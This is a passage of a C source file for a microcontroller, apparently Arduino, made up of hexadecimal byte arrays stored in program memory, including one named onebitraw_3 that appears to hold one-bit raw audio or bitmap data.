0xFF, 0x00, 0x00, 0x01, 0xFF, 0xFF, \n0xFC, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xF8, 0x00, 0x00, 0x07, \n0xFF, 0xFF, 0xE0, 0x00, 0xFF, 0xFF, 0xE0, 0x00, 0x07, 0xFF, 0xF0, 0x00, 0x00, 0x01, 0xFF, \n0xFF, 0xFC, 0x00, 0x01, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x01, 0xFF, 0xFC, 0x00, 0x00, 0x00, \n0x1F, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x01, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFE, 0x00, 0x0F, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, \n0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x00, 0x00, 0x7F, 0xFF, 0x80, 0x00, 0x00, 0x07, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x07, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, \n0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x0F, 0xE0, 0x1E, 0x00, 0xFF, \n0x3F, 0xE7, 0x3F, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x83, 0xE0, 0x70, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x80, 0x14, 0x00, \n0x90, 0x12, 0x40, 0x13, 0x6C, 0xD9, 0xB7, 0x77, 0x66, 0x67, 0x77, 0x7B, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xDC, 0xF3, 0xBF, 0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xCE, 0x3C, 0xE1, 0x81, 0x84, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3C, 0x0F, 0x87, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x6F, 0x69, 0x6F, 0x2F, 0xE9, 0x2F, 0x97, 0xF6, 0xD9, 0xB2, \n0x64, 0x44, 0xCC, 0xCC, 0xC0, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x11, 0xC4, \n0x20, 0x00, 0x0C, 0x02, 0x1C, 0x21, 0xC3, 0x03, 0x1C, 0x73, 0xEF, 0xE7, 0xFF, 0xCF, 0xFF, \n0xFF, 0xFF, 0xE3, 0xF3, 0xE7, 0xE3, 0xCE, 0x30, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, \n0x00, 0x0A, 0x03, 0x00, 0x00, 0x20, 0x00, 0x01, 0x00, 0x40, 0x14, 0x01, 0x08, 0x42, 0x16, \n0xD2, 0xD2, 0x12, 0xD2, 0x4B, 0x05, 0xC9, 0xB3, 0x64, 0xC8, 0xCD, 0x99, 0x99, 0x98, 0xCC, \n0x00, 0x02, 0x21, 0x04, 0x26, 0x31, 0x8C, 0x63, 0x98, 0x40, 0x20, 0x18, 0x86, 0x38, 0x63, \n0x02, 0x06, 0x18, 0x01, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00, 0x01, 0x81, 0x82, 0x00, 0x00, \n0x00, 0x00, 0x60, 0x00, 0x08, 0x00, 0x00, 0x01, 0x80, 0xE0, 0x14, 0x06, 0x00, 0x00, 0x40, \n0x00, 0x02, 0x00, 0x80, 0x08, 0x02, 0x00, 0x04, 0x25, 0x25, 0xA4, 0x24, 0x84, 0x92, 0x00, \n0x80, 0x24, 0x49, 0x91, 0x13, 0x33, 0x33, 0x11, 0x88, 0x00, 0x00, 0x00, 0x08, 0x4C, 0x63, \n0x18, 0xC3, 0x10, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x04, 0x08, 0x20, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x03, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x04, \n0x00, 0x08, 0x0A, 0x49, 0x48, 0x49, 0x01, 0x20, 0x00, 0x00, 0x48, 0x03, 0x22, 0x26, 0x66, \n0x66, 0x03, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x30, 0x84, 0x20, 0x00, 0x00, 0x00, \n0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x80, 0x80, 0x10, \n0x00, 0x40, 0x00, 0x00, 0x90, 0x00, 0x00, 0x04, 0xCC, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x01, 0x08, 0x20, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x08, 0x00, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n};\n\nprog_uchar onebitraw_3[] PROGMEM = {\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 